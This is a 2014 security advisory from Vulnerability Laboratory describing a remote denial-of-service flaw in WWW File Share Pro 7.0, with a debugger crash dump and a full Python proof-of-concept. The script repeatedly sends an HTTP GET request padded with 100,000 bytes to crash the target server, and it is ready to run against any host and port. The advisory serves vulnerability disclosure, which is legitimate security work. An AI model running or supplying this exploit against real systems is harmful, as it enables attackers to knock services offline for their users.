Document Title: =============== WWW File Share Pro v7.0 - Denial of Service Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1310 Video: http://www.vulnerability-lab.com/get_content.php?id=1309 http://cwe.mitre.org/data/definitions/121.html Release Date: ============= 2014-08-30 Vulnerability Laboratory ID (VL-ID): ==================================== 1310 Common Vulnerability Scoring System: ==================================== 4.2 Product & Service Introduction: =============================== WWW File Share Pro can help you share files on the internet or on the local area network. You may use it to share files between your PC and other devices if they may access your PC with an internet browser, regardless of what Operating System is installed on them. - Share office documents between Windows and other operating system: Mac OS X, Linux, iOS, Android, etc. - View photos or play mp3 files stores on your PC from other portable computer or smart mobile phone: iPad, iPhone, Nexus 4, Note II, etc. - Share files between you and other persons: your friends, your colleagues, etc. What you need to do is to simply specify a download directory and a upload directory. Then run the internet browser on other devices to download files from your computer or upload files from those devices to your computer. All popular internet browsers are supported, such as Firefox, Chrome, Safari, Internet Explorer, Opera, etc. There is no need to install this software or any other software on other devices because an internet browser is enough. (Copy of the Vendor Homepage: http://www.wfshome.com/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a remote Denial of Service Vulnerability in the official WWW File Share Pro v7.0 software. Vulnerability Disclosure Timeline: ================================== 2014-08-30: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A critical stack exhaustion buffer overflow vulnerability resulting in remote denial of service has been detected in the latest WWW File Share PRO 7.0 software. The vulnerability can be triggered by sending a large malformed HTTP GET request to the vulnerable server. e.g. GET /upload2.htm/A * 100000 resulting in an immediate crash of the application. (199c.189c): Unknown exception - code c000008f (first chance) (199c.189c): Unknown exception - code c000008f (first chance) (199c.189c): Stack overflow - code c00000fd (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0009334c ebx=006b7528 ecx=00000002 edx=00000000 esi=006b7528 edi=006b7528 eip=7549c42d esp=0009334c ebp=0009339c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 KERNELBASE!RaiseException+0x58: Recommended Bug Title: Stack Exhaustion starting at KERNELBASE!RaiseException+0x0000000000000058 (Hash=0x217757a7.0x7b922161) Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploit #!/usr/bin/python # Exploit Title: WWW File Share PRO - Stack Exhaustion - Remote (DOS) Exploit [CWE-121] # Date: 30th August, 2014 # Exploit Author: Ateeq Khan (ateeq@evolution-sec.com) http://www.vulnerability-lab.com Twitter: @OhTheITGuy # Vendor Homepage: http://www.wfshome.com/ # Software Link: http://www.wfshome.com/download/wfspsetup.exe # Version: 7.0 # Tested on: Win7 SP1 (english) import socket,sys if len(sys.argv) != 3: print "\r\nUsage: ./fsp.py <target> <port>\r\n\r\n " sys.exit(0) try: port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1],port)) except: print "\r\n\r\nCould not connect to target, already down? :/\r\n\r\n" sys.exit() count = 0 buffer = "GET /upload2.htm/" buffer+= "\x41" * 100000 buffer+= " HTTP/1.0\r\n\r\n" print "Sending garbage... \r\n" while count < 500: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1],port)) s.send(buffer) s.close() except: print "Packets succesfuly sent...\r\n" sys.exit() Security Risk: ============== The security risk of the remote stack exhaustion denial of service vulnerability is estimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [Twitter: @ohtheitguy] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright � 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com